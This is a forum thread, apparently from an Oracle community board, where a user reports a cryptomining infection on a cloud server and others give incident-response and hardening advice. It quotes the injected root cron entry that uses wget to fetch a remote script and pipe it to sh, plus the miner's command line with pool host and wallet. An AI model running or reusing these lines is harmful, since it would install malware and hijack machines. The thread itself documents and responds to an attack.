Hi Billy and ALL,
I found the culprit. There is malware injected our Oracle Cloud Server
NTPD is being hijacked by the cryptocurrency mining malware.
I got hackers malware running >>
root 19123 1 99 00:22 ? 00:39:49 ./ss -a cryptonight-heavy -o mine.sumo.fairpool.xyz:5555 -u Sumoo6wAxNCYYQtFmKFiQ3gtiYe5KxEqmPhBVGGpt3ADXsrCuR2t6QP2LEVcB9RKfJgNm3t92jg8xTLYdJ8iSPAi9a7qUCeAJg6 -p x
I removed the program and the CPU is now normal.
Our nightmare is now happening in going to using public cloud.
Can you give me tips how to check if the malware has injected program in our init.d?
Right it injected it via root crontab which is easier to identify. But I do not know how to identify it when it is inside init.d
Get professional help. Your server likely has now backdoors installed. The flaws exploited to gain server and root access still exist.
I am dead
Please help where this public IP come from
The injected code in the cron is > * * * * * wget -q http://126.96.36.199/logo8.sh -O - | sh
I understand is it running a program from this IP?
I am dead
Please accept reality
The IP is owned by a Russian ISP, JSC ISPsystem (ispsystem.net). There is a recent mining abuse report against this IP.
You can try and contact the ISP and report the abuse - but in my experience with ISPs that part of the globe, they will simply ignore you.
What you should do is deny access to and from the outside world to your server, and clean it. Use console access for root access to the server. Boot server into single user mode. Setup a very restrictive firewall allowing only trusted IP and trusted subnet access - ingress and egress. Remove all trusted ssh key access. Rebuild all ssh keys (private keys have been compromised). Review /etc/passwd and /etc/groups and remove unknowns, and change all passwords. Review mounts for unknown samba/nfs mounts. Review crontab of all users. Disable all network services with the exception of ssh - and review services at the same time for unknowns. Review network config. The kernel is also suspect - and needs to be replaced with a valid image. Decide how to do it, and then do it (e.g. yum reinstall).
Once all this is done, and server seems healthy, punch holes in the local firewall to allow local network services (e.g. web server/app server) to be accessed.
However, as you do not know what attack and exploit vector was used, you need to rely on the local firewall to only allow IP traffic, in and out, from and to trusted IPs and subnets - while hardening that server and its contents, and enabling self monitoring (e.g, monitoring contab, grub.conf, etc, for changes), considering using a SELinux kernel, etc.
This is also not a simple task - and the assistance of an experienced Linux sysadmin/hacker is needed.
I am not good at network
That is why I am asking help from Oracle Support via SR, hoping they can help and give an expert network especialist to block the hackers.
But all Oracle can give is a support like "John Thorton" giving documentations to read, in times of life and death.
If you are desperate which you appear to be, then you might consider using Oracle's other services, ie Oracle Advanced Support or Oracle Consulting who can actually do these things if you pay them to. But you probably want to shut down the instance first so no further damage can be done until you find someone to clean it up.
Standard Oracle Support does not really cover, as far as I know, countering and undoing hacker attacks and exploits. I do not see a normal vanilla SR comprehensively addressing the problem - unless it is handled by a Linux security expert.
Get professional help to undo the damage, and to harden the server - a 5 day engagement should suffice (with clear deliverables), and should be cheaper and less painful than trying it yourself.
Thanks Billy, Handat and ALL!